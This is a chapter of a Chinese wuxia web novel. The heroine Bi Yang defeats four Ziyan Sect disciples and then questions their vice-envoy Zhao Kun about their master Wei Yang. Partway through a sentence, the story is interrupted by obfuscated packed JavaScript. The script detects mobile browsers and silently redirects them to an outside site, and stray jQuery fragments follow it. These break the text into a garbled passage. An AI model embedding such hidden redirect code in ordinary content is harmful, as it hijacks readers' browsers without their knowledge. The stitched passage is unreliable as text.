127.轻退

作品:《遥望暮云平

    几乎是同时,四名弟子立刻察觉,齐刷刷地转过头来,目光如炬,瞬间锁定在毕扬身上。看到她手中执剑,眼神皆是一凛。


    其中一名看似领头的弟子,约莫三十岁年纪,面容精悍,眼神锐利,他迅速抬手示意同伴稍安勿躁,自己上前一步,对着毕扬抱拳,语气刻意放得恭敬,却带着不容置疑的强硬:“毕姑娘,您终于回来了。我等奉掌门之命,在此恭候多时。掌门有要事相商,特命我等前来请姑娘前往一叙。”


    毕扬在距离他们几步远处停下,并未还礼,只是潇洒地将未出鞘的长剑抱于胸前,挑眉问道:“哦?请我去哪儿?”


    那领头弟子似乎没料到她会直接问地点,顿了一下,随即答道:“自然是请姑娘移步,前往我紫雁门府……”


    “太远了,不去。” 毕扬不等他说完,干脆利落地摆了摆手,语气随意得像是在拒绝一次普通的串门邀约。


    听了毕扬的话,领头弟子脸色微僵,旁边另一名年轻些的弟子见状,连忙插话道:“毕姑娘若嫌府门路远,也无妨。我们掌门此刻正在崇州城中杨府做客,去那里也行,近便得很。” 他说着,还努力挤出一个看似友好的笑容。


    毕扬心中最后一丝疑虑消散。果然,这几人并不知道杨府后来发生的事,甚至不知道卫泱早已狼狈离开。她心中更定,面上却露出不耐,斩钉截铁道:“跟你说了,不去。”


    连续两次□□脆拒绝,那领头弟子的脸色终于沉了下来,眼中伪装的恭敬尽数褪去,只剩下冰冷的厉色。他缓缓直起身,与另外三人交换了一个心照不宣的眼神。


    “毕姑娘,”领头弟子的声音冷了下来,“这去与不去,恐怕……由不得姑娘自己选了。掌门有令,务必请到姑娘。既然姑娘不肯配合,那就休怪我等无礼了!”


    “动手!” 他低喝一声,四人同时发动。


    动作迅捷如风,配合默契。两人一左一右,雁翎短刀出鞘,带着破风声直取毕扬双肩,意在锁拿;另一人则身形一矮,扫腿攻其下盘;而那名领头弟子,手腕一翻,数点寒星已自袖中激射而出,竟是数枚喂了麻药的细针,直射毕扬面门与前胸要穴。紫雁门擅合击与暗器的特点,在这一瞬间展露无遗!


    毕扬早有准备,在他们动的同时,她也动了!


    清越的剑鸣划破夜空,长剑出鞘,在月光下划出一道冷冽的弧光。她并未使用刚刚领悟的烬雪,而是先运起最为熟悉的岩曲剑法基础招式,融合了今夜突破后对内力更精妙的掌控。


    她的剑势沉稳厚重,竟将射来的细针尽数磕飞,叮叮当当落了一地。同时脚下步法变幻,如同风中柳絮,轻盈地避开了下路的扫腿。面对左右袭来的双刀,她不退反进,身形微侧,长剑顺势一引一绞,剑刃贴着对方的刀锋划过,强大的力道与巧劲瞬间将两柄短刀带偏,那两名弟子只觉得手腕剧震,险些脱手!


    电光石火之间,第一轮合击已被毕扬从容化解。她持剑立于原地,衣袂飘飘,眼神平静无波,仿佛只是随手拂去了几粒尘埃。


    四名紫雁门弟子心中皆是一惊。他们虽知毕扬是毕岚之女,武功应当不弱,却未料到她的身法剑术如此精妙老辣,内力更是浑厚凝实,远超他们预估。尤其那轻描淡写间破去合击的姿态,更显游刃有余。


    但掌门严令在身,他们岂敢退缩?


    “结阵!” 领头弟子低吼一声,迅速后撤半步,与另外三人调整方位。


    四人不再急于抢攻,而是按照某种特定的步法开始游走,将毕扬围在中心,彼此间气机隐隐相连,手中雁翎短刀或正或反,寒光吞吐不定,封锁了各个可能突围的角度。


    毕扬眼神微凝,持剑静立,目光如电,扫视着四人不断变幻的方位,感受着他们逐渐收紧的气机压迫。她没有急于破阵,而是在观察,寻找阵眼与破绽。


    左侧弟子率先发难,短刀斜劈,刀光如电,直取毕扬腰肋!


    几乎同时,右侧弟子配合着一刀横扫下盘,后方弟子则悄无声息地递出一刀,刺向后心!而正面的领头弟子并未出刀,而是双手连扬,又是数枚喂了麻药的飞针激射而出,封住了毕扬向上或向前的闪避空间。


    四面受敌,上下皆危!


    毕扬身形骤然一矮,几乎贴着地面,险之又险地避过了横扫下盘的一刀,同时长剑向上反撩,剑尖精准无比地点在左侧劈来的刀脊之上,一声脆响,不仅格开了这一刀,浑厚的内力更震得那弟子手臂酸麻,攻势顿消。


    对于后心刺来的一刀,她仿佛背后长了眼睛,左掌反手拍出,掌风呼啸,并非硬接,而是拍在刀身侧面,将其带偏。


    而面对正面射来的飞针,她竟不闪不避,只是手腕一抖,长剑挽起一片细密的剑花,如同瞬间筑起一道无形的气墙,只听一阵密集的“叮叮”声,所有飞针再次被剑光击落!


    但就在她化解四方攻势的瞬间,那一直伺机而动的领头弟子眼中寒光一闪,他身形如鬼魅般欺近,手中短刀并非直刺,而是划出一道诡异的弧线,刀锋震颤,发出低沉的嗡鸣,直取毕扬因挥剑格挡飞针而略显空门的中路。


    这一刀时机把握得极准,眼看刀尖已触及毕扬衣襟,领头弟子眼中闪过一丝得色。


    然而,毕扬似乎早已料到。她格挡飞针的剑势未尽,竟顺势一转,剑身以一个不可思议的角度回旋,贴着自身腰侧反手刺出!这一剑毫无征兆,快如闪电,后发先至,剑尖精准地点在了对方刀尖侧后方。


    “铛!”金铁交鸣声分外刺耳。


    领头弟子只觉得一股冰冷彻骨、却又沉重如山的内力自刀身传来,瞬间破开了他刀上的劲力,虎口剧痛,短刀再也拿捏不住,脱手飞出。


    阵眼一破,合击之势立散!另外三名弟子气机牵连之下,身形皆是一滞,露出破绽。


    毕扬长剑一振,身随剑走,化作一道模糊的残影。只听三声轻响,伴随着三声闷哼,另外三名弟子手腕或肩头几乎同时中剑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913145|177032||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,虽非要害,却也鲜血迸溅,雁翎短刀纷纷落地。


    四名紫雁门弟子或捂手腕,或按肩膀,踉跄后退,脸上全是难以置信的惊骇与痛苦。


    毕扬收剑而立,剑尖斜指地面,几滴血珠顺着剑脊缓缓滑落。夜风吹动她的发丝和衣角,她看着眼前狼狈的四人,声音清冷如冰:“还不走?”


    那四名紫雁门弟子闻言,互相看了一眼,皆从对方眼中看到了惧意和一丝茫然。面对毕扬展露的压倒性实力,再打下去不过是徒增伤势,甚至性命难保,他们实在想不通这样的功法卫泱当初怎么会说人多势众便能轻取。


    领头那名弟子忍着肩头的剧痛,挣扎着站起身,对着毕扬抱拳,这次姿态放得极低,语气也诚恳了许多:“毕姑娘,在下紫雁门副使,赵昆。今夜对姑娘多有冒犯,绝非我等本意。只是掌门严令,说是有极为紧要之事,关乎重大,务必在今夜将姑娘请回,不论手段。我等奉命行事,身不由己。”


    他抬眼看向毕扬,见她神色依旧冰冷,但似乎并无立刻再下杀手的意思,便斟酌着言辞,试探道:“姑娘武艺高强,远在我等之上,若执意不肯同我等前去,我等确实无能为力。只是……掌门口中之事,似乎非同小可。姑娘若也心存疑惑,想知道其中究竟,何不随我等前去一看?姑娘大可放心,一路之上,我等必定以礼相待,绝不敢再有半分不敬之举。一来,掌门确实未曾下令伤及姑娘性命,二来凭姑娘的身手,我等也绝无对姑娘不利的机会。”


    毕扬听了,倒是有些意外。赵昆说话时,神情恳切,眉头紧锁,既惶惑又坦诚,看起来确实不像是在耍诈或虚言诱骗。


    这紫雁门的人,怎么还先兵后礼起来了?她并未放松警惕,但也对赵昆口中的特别之事生出一丝疑虑。卫泱如此急迫,甚至不惜与杨庭勾结,动用石冬冬的人手,究竟是为了什么?仅仅是为了报复昔日掌门之争的旧怨?似乎不至于如此大动干戈。


    “赵副使,” 毕扬语气稍缓,“你若早些这般好好说话,我也不必对你们下这么重的手。只是……你们那位卫掌门,早些时候已经在杨府之内,请过我一回了,至于结果嘛……不甚愉快,他自己也没能请动我,这会儿,怕是已经不知道连夜逃到哪里去了。”


    她看着赵昆骤然变化的神色,继续道:“你让我随你们去杨府?呵,如今那地方,你我两手空空,没有贺礼,恐怕连门都进不去呢。”


    赵昆脸色大变,眼中惊疑不定:“姑娘此话当真?!掌门已经不在杨府了?”


    他显然对杨府后来发生的事一无所知,此刻听闻卫泱竟已失手,甚至可能逃了,心中的震惊无以复加。他们只是奉命在此守候,与总舵或其他行动组之间似乎并无及时联络。


    “骗你们作甚?” 毕扬收剑入鞘,神态放松了些,但目光依旧锐利,“信不信,你们自己回去看看便知。至于我……”她看了一眼自家亮着灯火的屋子,“我家便在此处,今夜也不会去旁的地方。”